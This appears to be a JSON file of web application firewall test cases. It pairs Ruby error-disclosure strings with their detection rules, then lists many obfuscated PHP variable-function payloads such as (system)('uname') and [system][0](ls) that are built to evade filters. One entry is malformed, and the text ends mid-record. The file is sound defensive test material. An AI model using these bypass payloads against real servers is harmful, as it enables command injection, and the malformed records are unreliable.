[ { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"SyntaxError (/path/to/your/app/controllers/reflects_controller.rb:10: syntax error, unexpected keyword_end)\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "Ruby SyntaxError" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"NameError (undefined local variable or method `unexistent_variable' for #<PostsController:0x00007f...>\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "Ruby NameError" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"ActiveRecord::RecordNotFound (Couldn't find Post with 'id'=999)\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "Ruby ActiveRecord::RecordNotFound" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"ActionView::Template::Error (undefined method 'name' for nil:NilClass)\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "Ruby ActionView::Template::Error" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"TypeError: no implicit conversion of String into Integer\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "Ruby TypeError" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"NoMethodError: undefined method 'author_name' for #\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "Ruby NoMethodError" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"ArgumentError: wrong number of arguments (given 0, expected 1)\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "Ruby ArgumentError" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"ActionController::RoutingError: No route matches [GET] \"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "Ruby ActionController::RoutingError" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"ActionController::ParameterMissing: param is missing or the value is empty: comment\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "Ruby ActionController::ParameterMissing" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"fileuploaderror\":\"File upload failed.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "False Positive: Roundcube defining error message for frontend, matching `loaderror` in `fileuploaderror`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{ \"noJavascriptError\":\"SOGo requires Javascript to run. Please make sure this option is available and activated within your browser preferences.\" }" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ruby-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956100", "test_description": "False Positive: SOGo defining error message for frontend, matching `scriptError` in `noJavascriptError`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"<% end %>\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:<%[=#\\s]|#\\{[^}]+\\})", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956110", "test_description": "Ruby ERB Template leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"

Name: <%= @user.name %>

\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:<%[=#\\s]|#\\{[^}]+\\})", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956110", "test_description": "Ruby ERB Template leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"p Name: #{user.name}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:<%[=#\\s]|#\\{[^}]+\\})", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956110", "test_description": "Ruby Slim Interpolation" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<%- sidebar.id %>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:<%[=#\\s]|#\\{[^}]+\\})", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "956110", "test_description": "False Positive: Don't match templates for WordPress site customizer" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=bar}(200)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%24foo-%3E%24funcname%28%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$+(?:[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*|\\s*{.+})(?:\\s|\\[.+\\]|{.+}|/\\*.*\\*/|//.*|#.*)*\\(.*\\)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933180", "test_description": "$foo->$funcname()" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=Foo%3A%3A%24variable%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$+(?:[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*|\\s*{.+})(?:\\s|\\[.+\\]|{.+}|/\\*.*\\*/|//.*|#.*)*\\(.*\\)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933180", "test_description": "Foo::$variable()" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%5bACME%5d%3a+this+is%2c+%28another%29+test+%28foo%29bar+or+foo%28bar%29." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "Check for false positive 1" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28foo%29bar+or+foo%28bar%29+or+%5bfoo%5dbar+or+foo%5bbar%5d" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "Check for false positive 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28system%29%28%27uname%27%29%20%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"(system)('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28sy.%28st%29.em%29%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"(sy.(st).em)('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28string%29%22system%22%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"(string)'system'('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28+string+%29+%22sys%22.%22t%22.%22em%22+%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"( string ) 'sys'.'t'.'em' ('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28string%29+%7b%5bsystem%5d%5b0%5d%7d+%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"(string) {[system][0]} ('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=define%28%27x%27,+%27sys%27+.+%27tem%27%29%3b%28x%29%2f*+comment+*%2f%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"define('x', 'sys' . 'tem');(x)/* comment */('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=$y+=+%27sys%27.%27tem%27%3b%28$y%29%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"$y = 'sys'.'tem';($y)('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=define%28%27z%27,+%5b%5b%27sys%27+.%27tem%27%5d%5d%29%3b%28z%29%5b0%5d%5b0%5d%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"define('z', [['sys' .'tem']]);(z)[0][0]('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28system%29%28ls%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"(system)(ls)\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28%2f*+comment+*%2fsystem%29%28ls%2f*+comment+*%2f%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"(/* comment */system)(ls/* comment */)\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%5bsystem%5d%5b0%5d%28ls%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"[system][0](ls)\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%5b+system+%5d+%5b+0+%5d+%28+ls+%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"[ system ] [ 0 ] ( ls )\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28%5b%27system%27%5d%29%5b0%5d%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"(['system'])[0]('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28++%5b++system++%5d%5b++0++%5d%29++%7b%2f*+comment+*%2f0%7d++%28++ls++%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", 